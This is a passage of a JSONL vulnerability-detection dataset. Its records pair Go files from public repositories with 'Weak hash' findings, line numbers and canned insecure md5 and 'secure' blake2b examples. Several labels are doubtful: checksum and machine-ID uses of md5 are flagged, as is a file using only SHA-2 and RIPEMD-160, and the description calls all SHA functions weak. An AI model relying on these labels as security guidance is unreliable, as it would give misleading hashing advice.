q)\n\t\treturn graph.ErrQuadExists\n\t}\n\tif !isAdd && len(entry.History)%2 == 0 {\n\t\tglog.Error(\"attempt to delete non-existent quad %v: %#c\", entry, q)\n\t\treturn graph.ErrQuadNotExist\n\t}\n\n\tentry.History = append(entry.History, id)\n\n\tbytes, err := json.Marshal(entry)\n\tif err != nil {\n\t\tglog.Errorf(\"could not write to buffer for entry %#v: %s\", entry, err)\n\t\treturn err\n\t}\n\tbatch.Put(qs.createKeyFor(spo, q), bytes)\n\tbatch.Put(qs.createKeyFor(osp, q), bytes)\n\tbatch.Put(qs.createKeyFor(pos, q), bytes)\n\tif q.Get(quad.Label) != \"\" {\n\t\tbatch.Put(qs.createKeyFor(cps, q), bytes)\n\t}\n\treturn nil\n}\n\ntype ValueData struct {\n\tName string\n\tSize int64\n}\n\nfunc (qs *QuadStore) UpdateValueKeyBy(name string, amount int64, batch *leveldb.Batch) error {\n\tvalue := &ValueData{name, amount}\n\tkey := qs.createValueKeyFor(name)\n\tb, err := qs.db.Get(key, qs.readopts)\n\n\t// Error getting the node from the database.\n\tif err != nil && err != leveldb.ErrNotFound {\n\t\tglog.Errorf(\"Error reading Value %s from the DB.\", name)\n\t\treturn err\n\t}\n\n\t// Node exists in the database -- unmarshal and update.\n\tif b != nil && err != leveldb.ErrNotFound {\n\t\terr = json.Unmarshal(b, value)\n\t\tif err != nil {\n\t\t\tglog.Errorf(\"Error: could not reconstruct value: %v\", err)\n\t\t\treturn err\n\t\t}\n\t\tvalue.Size += amount\n\t}\n\n\t// Are we deleting something?\n\tif value.Size <= 0 {\n\t\tvalue.Size = 0\n\t}\n\n\t// Repackage and rewrite.\n\tbytes, err := json.Marshal(&value)\n\tif err != nil {\n\t\tglog.Errorf(\"could not write to buffer for value %s: %s\", name, err)\n\t\treturn err\n\t}\n\tif batch == nil {\n\t\tqs.db.Put(key, bytes, qs.writeopts)\n\t} else {\n\t\tbatch.Put(key, bytes)\n\t}\n\treturn nil\n}\n\nfunc (qs *QuadStore) Close() {\n\tbuf := new(bytes.Buffer)\n\terr := binary.Write(buf, binary.LittleEndian, qs.size)\n\tif err == nil {\n\t\twerr := qs.db.Put([]byte(\"__size\"), buf.Bytes(), qs.writeopts)\n\t\tif werr != nil {\n\t\t\tglog.Error(\"could not write size before closing!\")\n\t\t}\n\t} else {\n\t\tglog.Errorf(\"could not convert size before closing!\")\n\t}\n\tbuf.Reset()\n\terr = binary.Write(buf, binary.LittleEndian, qs.horizon)\n\tif err == nil {\n\t\twerr := qs.db.Put([]byte(\"__horizon\"), buf.Bytes(), qs.writeopts)\n\t\tif werr != nil {\n\t\t\tglog.Error(\"could not write horizon before closing!\")\n\t\t}\n\t} else {\n\t\tglog.Errorf(\"could not convert horizon before closing!\")\n\t}\n\tqs.db.Close()\n\tqs.open = false\n}\n\nfunc (qs *QuadStore) Quad(k graph.Value) quad.Quad {\n\tvar q quad.Quad\n\tb, err := qs.db.Get(k.(Token), qs.readopts)\n\tif err != nil && err != leveldb.ErrNotFound {\n\t\tglog.Error(\"Error: could not get quad from DB.\")\n\t\treturn quad.Quad{}\n\t}\n\tif err == leveldb.ErrNotFound {\n\t\t// No harm, no foul.\n\t\treturn quad.Quad{}\n\t}\n\terr = json.Unmarshal(b, &q)\n\tif err != nil {\n\t\tglog.Error(\"Error: could not reconstruct quad.\")\n\t\treturn quad.Quad{}\n\t}\n\treturn q\n}\n\nfunc (qs *QuadStore) ValueOf(s string) graph.Value {\n\treturn Token(qs.createValueKeyFor(s))\n}\n\nfunc (qs *QuadStore) valueData(key []byte) ValueData {\n\tvar out ValueData\n\tif glog.V(3) {\n\t\tglog.V(3).Infof(\"%c %v\", key[0], key)\n\t}\n\tb, err := qs.db.Get(key, qs.readopts)\n\tif err != nil && err != leveldb.ErrNotFound {\n\t\tglog.Errorln(\"Error: could not get value from DB\")\n\t\treturn out\n\t}\n\tif b != nil && err != leveldb.ErrNotFound {\n\t\terr = json.Unmarshal(b, &out)\n\t\tif err != nil {\n\t\t\tglog.Errorln(\"Error: could not reconstruct value\")\n\t\t\treturn ValueData{}\n\t\t}\n\t}\n\treturn out\n}\n\nfunc (qs *QuadStore) NameOf(k graph.Value) string {\n\tif k == nil {\n\t\tglog.V(2).Info(\"k was nil\")\n\t\treturn \"\"\n\t}\n\treturn qs.valueData(k.(Token)).Name\n}\n\nfunc (qs *QuadStore) SizeOf(k graph.Value) int64 {\n\tif k == nil {\n\t\treturn 0\n\t}\n\treturn int64(qs.valueData(k.(Token)).Size)\n}\n\nfunc (qs *QuadStore) getInt64ForKey(key string, empty int64) (int64, error) {\n\tvar out int64\n\tb, err := qs.db.Get([]byte(key), qs.readopts)\n\tif err != nil && err != leveldb.ErrNotFound {\n\t\tglog.Errorln(\"could not read \" + key + \": \" + err.Error())\n\t\treturn 0, err\n\t}\n\tif err == leveldb.ErrNotFound {\n\t\t// Must be a new database. Cool\n\t\treturn empty, nil\n\t}\n\tbuf := bytes.NewBuffer(b)\n\terr = binary.Read(buf, binary.LittleEndian, &out)\n\tif err != nil {\n\t\tglog.Errorln(\"Error: could not parse\", key)\n\t\treturn 0, err\n\t}\n\treturn out, nil\n}\n\nfunc (qs *QuadStore) getMetadata() error {\n\tvar err error\n\tqs.size, err = qs.getInt64ForKey(\"__size\", 0)\n\tif err != nil {\n\t\treturn err\n\t}\n\tqs.horizon, err = qs.getInt64ForKey(\"__horizon\", 0)\n\treturn err\n}\n\nfunc (qs *QuadStore) SizeOfPrefix(pre []byte) (int64, error) {\n\tlimit := make([]byte, len(pre))\n\tcopy(limit, pre)\n\tend := len(limit) - 1\n\tlimit[end]++\n\tranges := make([]util.Range, 1)\n\tranges[0].Start = pre\n\tranges[0].Limit = limit\n\tsizes, err := qs.db.SizeOf(ranges)\n\tif err == nil {\n\t\treturn (int64(sizes[0]) >> 6) + 1, nil\n\t}\n\treturn 0, nil\n}\n\nfunc (qs *QuadStore) QuadIterator(d quad.Direction, val graph.Value) graph.Iterator {\n\tvar prefix string\n\tswitch d {\n\tcase quad.Subject:\n\t\tprefix = \"sp\"\n\tcase quad.Predicate:\n\t\tprefix = \"po\"\n\tcase quad.Object:\n\t\tprefix = \"os\"\n\tcase quad.Label:\n\t\tprefix = \"cp\"\n\tdefault:\n\t\tpanic(\"unreachable \" + d.String())\n\t}\n\treturn NewIterator(prefix, d, val, qs)\n}\n\nfunc (qs *QuadStore) NodesAllIterator() graph.Iterator {\n\treturn NewAllIterator(\"z\", quad.Any, qs)\n}\n\nfunc (qs *QuadStore) QuadsAllIterator() graph.Iterator {\n\treturn NewAllIterator(\"po\", quad.Predicate, qs)\n}\n\nfunc (qs *QuadStore) QuadDirection(val graph.Value, d quad.Direction) graph.Value {\n\tv := val.(Token)\n\toffset := PositionOf(v[0:2], d, qs)\n\tif offset != -1 {\n\t\treturn Token(append([]byte(\"z\"), v[offset:offset+hashSize]...))\n\t}\n\treturn Token(qs.Quad(val).Get(d))\n}\n\nfunc compareBytes(a, b graph.Value) bool {\n\treturn bytes.Equal(a.(Token), b.(Token))\n}\n\nfunc (qs *QuadStore) FixedIterator() graph.FixedIterator {\n\treturn iterator.NewFixed(compareBytes)\n}", "dangerousExampleEn": "1. import \"crypto/md5\"\n2. \n3. func Dan_Crypto(c *gin.Context) {\n4. \tinput := c.PostForm(\"content\")\n5. \thash := md5.New()\n6. \thash.Write([]byte(input))\n7. \th := hash.Sum(nil)\n8. \tc.String(http.StatusOK, hex.EncodeToString(h))\n9. }\nLine 1: This is insecure because a vulnerable hash, md5, is used.", "safeExampleEn": "1. import \"golang.org/x/crypto/blake2b\"\n2. \n3. func Safe_Crypto(c *gin.Context) {\n4. \tdata := []byte(c.PostForm(\"content\"))\n5. \thash, err := blake2b.New256(nil)\n6. \thash.Write(data)\n7. \thashed := hash.Sum(nil)\n8. \tc.String(http.StatusOK, hex.EncodeToString(hashed))\n9. }\nLine 1: This is secure because a secure hash, black2b, is used.", "contexts": [{"lineNo": 19, "eventType": "sink", "messageKey": "gochk.WEAK_CRYPTOGRAPHIC_HASH.GO.defect", "params": {}}]}} {"id": "775d21898862d8db42d7015cf2ae94293c4ba046b69846e833e64d369cf25c6c", "license": {"spdx": ["BSD-2-Clause"], "repo": "yanana/fake-gcs-server", "path": "internal/checksum/checksum.go", "repo_head_hexsha": "756fecfe4cd3c95e477a756c623b99ac0ed77ed5", "stack_hexsha": "ff4041f2f5a0acb55566e31a5c5877f244d3e6d2", "match": "repo_path"}, "input": {"fileExtension": ".go", "programmingLanguage": "Go", "issueNameEn": "Weak hash", "issueDescriptionEn": "A hash function is a one-way function that generates fixed length of output by mapping random data. It is commonly used to store user passwords because it always produces the same output for the given input. The hash functions, such as MD5 and SHA, may give the illusion of high performance as they calculate hash very quickly, but they are vulnerable to random brute-force attacks. Furthermore, using a hash function for simple data is dangerous because it can be stored and shared in the rainbow table.\nThere are many functions that are enabled to overcome the shortcomings of MD5 and SHA. In Go, these can be easily replaced by enabling relatively newer algorithms such as Blake2, Argon2, PBKDF2, or Scrypt.", "issueLineNumber": 8, "entireCode": "// Copyright 2021 . All rights reserved.\n// Use of this source code is governed by a BSD-style\n// license that can be found in the LICENSE file.\n\npackage checksum\n\nimport (\n\t\"crypto/md5\"\n\t\"encoding/base64\"\n\t\"hash/crc32\"\n)\n\nvar crc32cTable = crc32.MakeTable(crc32.Castagnoli)\n\nfunc crc32cChecksum(content []byte) []byte {\n\tchecksummer := crc32.New(crc32cTable)\n\tchecksummer.Write(content)\n\treturn checksummer.Sum(make([]byte, 0, 4))\n}\n\nfunc EncodedChecksum(checksum []byte) string {\n\treturn base64.StdEncoding.EncodeToString(checksum)\n}\n\nfunc EncodedCrc32cChecksum(content []byte) string {\n\treturn EncodedChecksum(crc32cChecksum(content))\n}\n\nfunc MD5Hash(b []byte) []byte {\n\th := md5.New()\n\th.Write(b)\n\treturn h.Sum(nil)\n}\n\nfunc EncodedHash(hash []byte) string {\n\treturn base64.StdEncoding.EncodeToString(hash)\n}\n\nfunc EncodedMd5Hash(content []byte) string {\n\treturn EncodedHash(MD5Hash(content))\n}", "dangerousExampleEn": "1. import \"crypto/md5\"\n2. \n3. func Dan_Crypto(c *gin.Context) {\n4. \tinput := c.PostForm(\"content\")\n5. \thash := md5.New()\n6. \thash.Write([]byte(input))\n7. \th := hash.Sum(nil)\n8. \tc.String(http.StatusOK, hex.EncodeToString(h))\n9. }\nLine 1: This is insecure because a vulnerable hash, md5, is used.", "safeExampleEn": "1. import \"golang.org/x/crypto/blake2b\"\n2. \n3. func Safe_Crypto(c *gin.Context) {\n4. \tdata := []byte(c.PostForm(\"content\"))\n5. \thash, err := blake2b.New256(nil)\n6. \thash.Write(data)\n7. \thashed := hash.Sum(nil)\n8. \tc.String(http.StatusOK, hex.EncodeToString(hashed))\n9. }\nLine 1: This is secure because a secure hash, black2b, is used.", "contexts": [{"lineNo": 8, "eventType": "sink", "messageKey": "gochk.WEAK_CRYPTOGRAPHIC_HASH.GO.defect", "params": {}}]}} {"id": "6b8ebba4070fb508188c438af7bfbe42dc80e7cd78561053dcd5a996299bc62a", "license": {"spdx": ["MIT"], "repo": "wrule/mywallet", "path": "src/hash.go", "repo_head_hexsha": "d244b8d5c7cea6dc1274855cefa8158386f85758", "stack_hexsha": "3d37ce25388f7147c6bbb760e49408a2668110db", "match": "exact_blob"}, "input": {"fileExtension": ".go", "programmingLanguage": "Go", "issueNameEn": "Weak hash", "issueDescriptionEn": "A hash function is a one-way function that generates fixed length of output by mapping random data. It is commonly used to store user passwords because it always produces the same output for the given input. The hash functions, such as MD5 and SHA, may give the illusion of high performance as they calculate hash very quickly, but they are vulnerable to random brute-force attacks. Furthermore, using a hash function for simple data is dangerous because it can be stored and shared in the rainbow table.\nThere are many functions that are enabled to overcome the shortcomings of MD5 and SHA. In Go, these can be easily replaced by enabling relatively newer algorithms such as Blake2, Argon2, PBKDF2, or Scrypt.", "issueLineNumber": 9, "entireCode": "package main\n\nimport (\n\t\"crypto/hmac\"\n\t\"crypto/sha256\"\n\t\"crypto/sha512\"\n\t\"hash\"\n\n\t\"golang.org/x/crypto/ripemd160\"\n)\n\n// HashCom 基础Hash组件\nfunc HashCom(h hash.Hash, data []byte) []byte {\n\t_, err := h.Write(data)\n\tif err != nil {\n\t\tpanic(err)\n\t}\n\treturn h.Sum(nil)\n}\n\n// Sha256 s\nfunc Sha256(data []byte) []byte {\n\treturn HashCom(sha256.New(), data)\n}\n\n// Sha512 s\nfunc Sha512(data []byte) []byte {\n\treturn HashCom(sha512.New(), data)\n}\n\n// RipeMD160 s\nfunc RipeMD160(data []byte) []byte {\n\treturn HashCom(ripemd160.New(), data)\n}\n\n// HMACSHA512 s\nfunc HMACSHA512(data, key []byte) []byte {\n\thmac := hmac.New(sha512.New, key)\n\treturn HashCom(hmac, data)\n}\n\n// HMACSHA256 s\nfunc HMACSHA256(data, key []byte) []byte {\n\thmac := hmac.New(sha256.New, key)\n\treturn HashCom(hmac, data)\n}", "dangerousExampleEn": "1. import \"crypto/md5\"\n2. \n3. func Dan_Crypto(c *gin.Context) {\n4. \tinput := c.PostForm(\"content\")\n5. \thash := md5.New()\n6. \thash.Write([]byte(input))\n7. \th := hash.Sum(nil)\n8. \tc.String(http.StatusOK, hex.EncodeToString(h))\n9. }\nLine 1: This is insecure because a vulnerable hash, md5, is used.", "safeExampleEn": "1. import \"golang.org/x/crypto/blake2b\"\n2. \n3. func Safe_Crypto(c *gin.Context) {\n4. \tdata := []byte(c.PostForm(\"content\"))\n5. \thash, err := blake2b.New256(nil)\n6. \thash.Write(data)\n7. \thashed := hash.Sum(nil)\n8. \tc.String(http.StatusOK, hex.EncodeToString(hashed))\n9. }\nLine 1: This is secure because a secure hash, black2b, is used.", "contexts": [{"lineNo": 9, "eventType": "sink", "messageKey": "gochk.WEAK_CRYPTOGRAPHIC_HASH.GO.defect", "params": {}}]}} {"id": "7e37fbb8aa5c33b56749c0dbba4463be87dbebf54962072483d44dab71651804", "license": {"spdx": ["MIT"], "repo": "zhanglindeng/golang", "path": "phpgo/file.go", "repo_head_hexsha": "6b32e95721a337daa4bd57fe94692d3b324cc583", "stack_hexsha": "42b17d341099fd79ce9255f89963049655cbfeb4", "match": "exact_blob"}, "input": {"fileExtension": ".go", "programmingLanguage": "Go", "issueNameEn": "Weak hash", "issueDescriptionEn": "A hash function is a one-way function that generates fixed length of output by mapping random data. It is commonly used to store user passwords because it always produces the same output for the given input. The hash functions, such as MD5 and SHA, may give the illusion of high performance as they calculate hash very quickly, but they are vulnerable to random brute-force attacks. Furthermore, using a hash function for simple data is dangerous because it can be stored and shared in the rainbow table.\nThere are many functions that are enabled to overcome the shortcomings of MD5 and SHA. In Go, these can be easily replaced by enabling relatively newer algorithms such as Blake2, Argon2, PBKDF2, or Scrypt.", "issueLineNumber": 4, "entireCode": "package phpgo\n\nimport (\n\t\"crypto/md5\"\n\t\"fmt\"\n\t\"io\"\n\t\"os\"\n)\n\n// FileSize 计算文件大小\nfunc FileSize(file string) (int64, error) {\n\tf, err := os.Stat(file)\n\tif err != nil {\n\t\treturn 0, err\n\t}\n\treturn f.Size(), nil\n}\n\n// FileExist 判断文件是否存在\nfunc FileExist(path string) bool {\n\t_, err := os.Stat(path)\n\treturn err == nil || os.IsExist(err)\n}\n\n// FileMd5File 计算文件的md5值,外面不用检查文件是否存在\nfunc FileMd5File(file string) (string, error) {\n\tf, err := os.Open(file)\n\tif err != nil {\n\t\treturn \"\", err\n\t}\n\tdefer f.Close()\n\n\th := md5.New()\n\tif _, err := io.Copy(h, f); err != nil {\n\t\treturn \"\", err\n\t}\n\n\treturn fmt.Sprintf(\"%x\", h.Sum(nil)), nil\n}", "dangerousExampleEn": "1. import \"crypto/md5\"\n2. \n3. func Dan_Crypto(c *gin.Context) {\n4. \tinput := c.PostForm(\"content\")\n5. \thash := md5.New()\n6. \thash.Write([]byte(input))\n7. \th := hash.Sum(nil)\n8. \tc.String(http.StatusOK, hex.EncodeToString(h))\n9. }\nLine 1: This is insecure because a vulnerable hash, md5, is used.", "safeExampleEn": "1. import \"golang.org/x/crypto/blake2b\"\n2. \n3. func Safe_Crypto(c *gin.Context) {\n4. \tdata := []byte(c.PostForm(\"content\"))\n5. \thash, err := blake2b.New256(nil)\n6. \thash.Write(data)\n7. \thashed := hash.Sum(nil)\n8. \tc.String(http.StatusOK, hex.EncodeToString(hashed))\n9. }\nLine 1: This is secure because a secure hash, black2b, is used.", "contexts": [{"lineNo": 4, "eventType": "sink", "messageKey": "gochk.WEAK_CRYPTOGRAPHIC_HASH.GO.defect", "params": {}}]}} {"id": "ab0423b1e18672c4eb2a050b30ab7efff9a79c11fd63a22e00666ad2d9c7b783", "license": {"spdx": ["MIT"], "repo": "abhishek9686/testkube", "path": "pkg/analytics/analytics.go", "repo_head_hexsha": "6afa5b4006be9b66e3a2ee7a1bd6cdc7143f6870", "stack_hexsha": "2b65b57e87897f94c9d7f5949d562a38319b5bd1", "match": "exact_blob"}, "input": {"fileExtension": ".go", "programmingLanguage": "Go", "issueNameEn": "Weak hash", "issueDescriptionEn": "A hash function is a one-way function that generates fixed length of output by mapping random data. It is commonly used to store user passwords because it always produces the same output for the given input. The hash functions, such as MD5 and SHA, may give the illusion of high performance as they calculate hash very quickly, but they are vulnerable to random brute-force attacks. Furthermore, using a hash function for simple data is dangerous because it can be stored and shared in the rainbow table.\nThere are many functions that are enabled to overcome the shortcomings of MD5 and SHA. In Go, these can be easily replaced by enabling relatively newer algorithms such as Blake2, Argon2, PBKDF2, or Scrypt.", "issueLineNumber": 5, "entireCode": "package analytics\n\nimport (\n\t\"bytes\"\n\t\"crypto/md5\"\n\t\"encoding/hex\"\n\t\"encoding/json\"\n\t\"fmt\"\n\t\"net/http\"\n\t\"os\"\n\t\"strconv\"\n\t\"strings\"\n\n\t\"github.com/denisbrodbeck/machineid\"\n\n\t\"github.com/kubeshop/testkube/cmd/tools/commands\"\n)\n\nvar testkubeMeasurementID = \"\" //this is default but it can be set using ldflag -X github.com/kubeshop/testkube/pkg/analytics.testkubeMeasurementID=G-B6KY2SF30K\nvar testkubeApiSecret = \"\"\n\nconst gaUrl = \"https://www.google-analytics.com/mp/collect?measurement_id=%s&api_secret=%s\"\n\ntype Params struct {\n\tEventCount int64 `json:\"event_count,omitempty\"`\n\tEventCategory string `json:\"even_category,omitempty\"`\n\tAppVersion string `json:\"app_version,omitempty\"`\n\tAppName string `json:\"app_name,omitempty\"`\n\tCustomDimensions string `json:\"custom_dimensions,omitempty\"`\n\tDataSource string `json:\"data_source,omitempty\"`\n}\ntype Event struct {\n\tName string `json:\"name\"`\n\tParams Params `json:\"params,omitempty\"`\n}\ntype Payload struct {\n\tClientID string `json:\"client_id\"`\n\tEvents []Event `json:\"events\"`\n}\n\n// SendAnonymousInfo will send event to GA\nfunc SendAnonymousInfo() {\n\n\tvar isEnabled bool\n\tif val, ok := os.LookupEnv(\"TESTKUBE_ANALYTICS_ENABLED\"); ok {\n\t\tisEnabled, _ = strconv.ParseBool(val)\n\t}\n\tif isEnabled {\n\t\tpayload := Payload{\n\t\t\tClientID: MachineID(),\n\t\t\tEvents: []Event{\n\t\t\t\tEvent{\n\t\t\t\t\tName: \"testkube-heartbeat\",\n\n\t\t\t\t\tParams: Params{\n\t\t\t\t\t\tEventCount: 1,\n\t\t\t\t\t\tEventCategory: \"beacon\",\n\t\t\t\t\t\tAppVersion: commands.Version,\n\t\t\t\t\t\tAppName: \"testkube\",\n\t\t\t\t\t\tDataSource: \"api-server\",\n\t\t\t\t\t},\n\t\t\t\t}},\n\t\t}\n\n\t\tsendDataToGA(payload)\n\t}\n}\n\n// SendAnonymouscmdInfo will send CLI event to GA\nfunc SendAnonymouscmdInfo() {\n\tevent := \"command\"\n\tcommand := []string{}\n\tif len(os.Args) > 1 {\n\t\tcommand = os.Args[1:]\n\t\tevent = command[0]\n\t}\n\n\tpayload := Payload{\n\t\tClientID: MachineID(),\n\t\tEvents: []Event{\n\t\t\tEvent{\n\t\t\t\tName: event,\n\t\t\t\tParams: Params{\n\t\t\t\t\tEventCount: 1,\n\t\t\t\t\tEventCategory: \"execution\",\n\t\t\t\t\tAppVersion: commands.Version,\n\t\t\t\t\tAppName: \"testkube\",\n\t\t\t\t\tCustomDimensions: strings.Join(command, \" \"),\n\t\t\t\t},\n\t\t\t}},\n\t}\n\n\tsendDataToGA(payload)\n\n}\n\nfunc sendDataToGA(data Payload) error {\n\tjsonData, err := json.Marshal(data)\n\tif err != nil {\n\t\treturn err\n\t}\n\n\trequest, err := http.NewRequest(\"POST\", fmt.Sprintf(gaUrl, testkubeMeasurementID, testkubeApiSecret), bytes.NewBuffer(jsonData))\n\tif err != nil {\n\t\treturn err\n\t}\n\n\trequest.Header.Set(\"Content-Type\", \"application/json\")\n\n\tresp, err := http.DefaultClient.Do(request)\n\tif err != nil {\n\t\treturn err\n\t}\n\tdefer resp.Body.Close()\n\n\tif resp.StatusCode > 300 {\n\t\treturn fmt.Errorf(\"Could not POST, statusCode: %d\", resp.StatusCode)\n\t}\n\treturn nil\n}\n\n// MachineID returns unique user machine ID\nfunc MachineID() string {\n\tid, _ := generate()\n\treturn id\n}\n\n// Generate returns protected id for the current machine\nfunc generate() (string, error) {\n\tid, err := machineid.ProtectedID(\"testkube\")\n\tif err != nil {\n\t\treturn fromHostname()\n\t}\n\treturn id, err\n}\n\n// fromHostname generates a machine id hash from hostname\nfunc fromHostname() (string, error) {\n\tname, err := os.Hostname()\n\tif err != nil {\n\t\treturn \"\", err\n\t}\n\tsum := md5.Sum([]byte(name))\n\treturn hex.EncodeToString(sum[:]), nil\n}", "dangerousExampleEn": "1. import \"crypto/md5\"\n2. \n3. func Dan_Crypto(c *gin.Context) {\n4. \tinput := c.PostForm(\"content\")\n5. \thash := md5.New()\n6. \thash.Write([]byte(input))\n7. \th := hash.Sum(nil)\n8. \tc.String(http.StatusOK, hex.EncodeToString(h))\n9. }\nLine 1: This is insecure because a vulnerable hash, md5, is used.", "safeExampleEn": "1. import \"golang.org/x/crypto/blake2b\"\n2. \n3. func Safe_Crypto(c *gin.Context) {\n4. \tdata := []byte(c.PostForm(\"content\"))\n5. \thash, err := blake2b.New256(nil)\n6. \thash.Write(data)\n7. \thashed := hash.Sum(nil)\n8. \tc.String(http.StatusOK, hex.EncodeToString(hashed))\n9. }\nLine 1: This is secure because a secure hash, black2b, is used.", "contexts": [{"lineNo": 5, "eventType": "sink", "messageKey": "gochk.WEAK_CRYPTOGRAPHIC_HASH.GO.defect", "params": {}}]}} {"id": "68122fed3b9ba4a0e8473a9ae3a525e740e37557af3e21ebb1cdc80dab7aac18", "license": {"spdx": ["MIT"], "repo": "tianchanghudong/autoBuildRobot", "path": "models/projectModel.go", "repo_head_hexsha": "e6f9119cc46435011d9f420e7a7effdbff2ecd85", "stack_hexsha": "d13d8ce69f1bd03ea2d786c99da2001bdede0c46", "match": "exact_blob"}, "input": {"fileExtension": ".go", "programmingLanguage": "Go", "issueNameEn": "Weak hash", "issueDescriptionEn": "A hash function is a one-way function that generates fixed length of output by mapping random data. It is commonly used to store user passwords because it always produces the same output for the given input. The hash functions, such as MD5 and SHA, may give the illusion of high performance as they calculate hash very quickly, but they are vulnerable to random brute-force attacks. Furthermore, using a hash function for simple data is dangerous because it can be stored and shared in the rainbow table.\nThere are many functions that are enabled to overcome the shortcomings of MD5 and SHA. In Go, these can be easily replaced by enabling relatively newer algorithms such as Blake2, Argon2, PBKDF2, or Scrypt.", "issueLineNumber": 6, "entireCode": "package models\n\nimport (\n\t\"autobuildrobot/log\"\n\t\"autobuildrobot/tool\"\n\t\"crypto/md5\"\n\t\"encoding/hex\"\n\t\"errors\"\n\t\"fmt\"\n\t\"strconv\"\n\t\"strings\"\n\t\"sync\"\n)\n\n//项目配置\ntype ProjectModel struct {\n\tManager string `json:\"Manager\"` //管理员\n\tUnopenCommandTypeList []int `json:\"UnopenCommandTypeList\"` //开放的指令\n\tClientEnginePath string `json:\"ClientEnginePath\"` //客户端引擎地址\n\tAutoBuildClientMethodList []string `json:\"AutoBuildClientMethodList\"` //客户端构建方法列表\n\tTempBanNormalUserCommands []string `json:\"TempBanNormalUserCommands\"` //临时禁止普通成员指令数组(如发版本时)\n}\n\nvar projectFileName = \"projectData.gob\"\nvar projectsMap map[string]*ProjectModel\nvar projectDataLock sync.Mutex\n\nfunc init() {\n\tprojectsMap = make(map[string]*ProjectModel)\n\ttool.ReadGobFile(projectFileName, &projectsMap)\n}\n\n//有就更新,没有则添加\nfunc UpdateProject(projectName, projectConfig string) (result string, err error) {\n\tprojectDataLock.Lock()\n\tdefer projectDataLock.Unlock()\n\n\t//解析数据\n\tprojectModel := new(ProjectModel)\n\tprojectModel.TempBanNormalUserCommands = make([]string, 0)\n\tprojectModel.UnopenCommandTypeList = make([]int, 0)\n\tprojectModel.AutoBuildClientMethodList = make([]string, 0)\n\terr = tool.UnmarshJson([]byte(projectConfig), &projectModel)\n\tif nil != err {\n\t\treturn\n\t}\n\n\t//更新或新增\n\tif _, ok := projectsMap[projectName]; ok {\n\t\t//存在则更新\n\t\tif \"\" != projectModel.Manager {\n\t\t\tprojectsMap[projectName].Manager = projectModel.Manager\n\t\t}\n\t\tif \"\" != projectModel.ClientEnginePath {\n\t\t\tprojectsMap[projectName].ClientEnginePath = projectModel.ClientEnginePath\n\t\t}\n\t\tif nil != projectModel.AutoBuildClientMethodList && len(projectModel.AutoBuildClientMethodList) > 0 {\n\t\t\t//不要那么复杂了,就直接用新得替换,只能更新整个\n\t\t\tprojectsMap[projectName].AutoBuildClientMethodList = projectModel.AutoBuildClientMethodList\n\t\t}\n\t\tif nil != projectModel.TempBanNormalUserCommands && len(projectModel.TempBanNormalUserCommands) > 0 {\n\t\t\tprojectsMap[projectName].TempBanNormalUserCommands = projectModel.TempBanNormalUserCommands\n\t\t}\n\t\tif nil != projectModel.UnopenCommandTypeList && len(projectModel.UnopenCommandTypeList) > 0 {\n\t\t\tprojectsMap[projectName].UnopenCommandTypeList = projectModel.UnopenCommandTypeList\n\t\t}\n\t} else {\n\t\tprojectsMap[projectName] = projectModel\n\t}\n\n\t//编码并存储\n\ttool.SaveGobFile(projectFileName, projectsMap)\n\tresult = \"更新项目配置成功\"\n\treturn\n}\n\n//获取项目配置数据\nfunc GetProjectData(projectName string) (result string) {\n\tprojectDataLock.Lock()\n\tdefer projectDataLock.Unlock()\n\tif _project, ok := projectsMap[projectName]; ok {\n\t\treturn tool.MarshalJson(_project)\n\t}\n\n\t//如果不存在项目,则输出默认值\n\treturn \"项目不存在,请添加:\" + GetProjectConfigHelp()\n}\n\n//获取项目配置帮助信息\nfunc GetProjectConfigHelp() (result string) {\n\tproject := new(ProjectModel)\n\tproject.Manager = \"项目管理员名字\"\n\tproject.ClientEnginePath = \"项目客户端引擎(如unity)路径\"\n\tproject.AutoBuildClientMethodList = make([]string, 0)\n\tproject.UnopenCommandTypeList = make([]int, 0)\n\tproject.TempBanNormalUserCommands = make([]string, 0)\n\treturn fmt.Sprintf(\"例:【%s:%s】\\n其中,UnopenCommandTypeList是不开放的指令索引数组,TempBanNormalUserCommands是临时要禁用的指令名称或者项目名称\\nAutoBuildMethodList对应客户端AutoBuild.cs定义的构建方法数组\\n如多个配置用分号分割\", commandName[CommandType_ProjectConfig], tool.MarshalJson(project))\n}\n\n//获取项目管理员\nfunc GetProjectManager(projectName string) string {\n\tprojectDataLock.Lock()\n\tdefer projectDataLock.Unlock()\n\tif project, ok := projectsMap[projectName]; ok {\n\t\treturn project.Manager\n\t}\n\tlog.Error(\"项目管理员不存在,请配置!!!\")\n\treturn \"\"\n}\n\n//获取项目客户端引擎(Unity)路径\nfunc GetProjectClientEnginePath(projectName string) (error, string) {\n\tprojectDataLock.Lock()\n\tdefer projectDataLock.Unlock()\n\tif project, ok := projectsMap[projectName]; ok {\n\t\treturn nil, project.ClientEnginePath\n\t}\n\treturn errors.New(\"项目客户端引擎路径失败,项目不存在,请添加!!!\"), \"\"\n}\n\n//根据参数获取构建方法\nfunc GetBuildMethod(projectName, svnProjectName, buildMethodParam string) (error, string) {\n\tintParam, err2Int := strconv.Atoi(buildMethodParam)\n\tif err2Int != nil {\n\t\tintParam = -1\n\t}\n\tprojectDataLock.Lock()\n\tdefer projectDataLock.Unlock()\n\tif project, ok := projectsMap[projectName]; ok {\n\t\tfor k, v := range project.AutoBuildClientMethodList {\n\t\t\tif k == intParam || v == buildMethodParam {\n\t\t\t\treturn nil, v\n\t\t\t}\n\t\t}\n\t}\n\n\treturn errors.New(\"获取构建方法失败:\" + buildMethodParam), \"\"\n}\n\n//判断是否为管理员\nfunc JudgeIsManager(projectName, userName string) bool {\n\tprojectDataLock.Lock()\n\tdefer projectDataLock.Unlock()\n\tif project, ok := projectsMap[projectName]; ok {\n\t\tif strings.Contains(project.Manager, userName) {\n\t\t\treturn true\n\t\t}\n\t}\n\treturn false\n}\n\n//获取不开放的指令\nfunc GetUnopenCommandList(projectName string) (commandList []int) {\n\tprojectDataLock.Lock()\n\tdefer projectDataLock.Unlock()\n\tcommandList = make([]int, 0)\n\tif project, ok := projectsMap[projectName]; ok {\n\t\treturn project.UnopenCommandTypeList\n\t}\n\treturn commandList\n}\n\n//判断指令是否被禁止\nfunc JudgeCommandIsBan(projectName, userName, commandName, svnProject string) bool {\n\tprojectDataLock.Lock()\n\tdefer projectDataLock.Unlock()\n\tif project, ok := projectsMap[projectName]; ok {\n\t\tif strings.Contains(project.Manager, userName) {\n\t\t\treturn false\n\t\t}\n\t\tfor _, v := range project.TempBanNormalUserCommands {\n\t\t\tif v == \"\" {\n\t\t\t\tcontinue\n\t\t\t}\n\t\t\tif v == commandName || v == svnProject 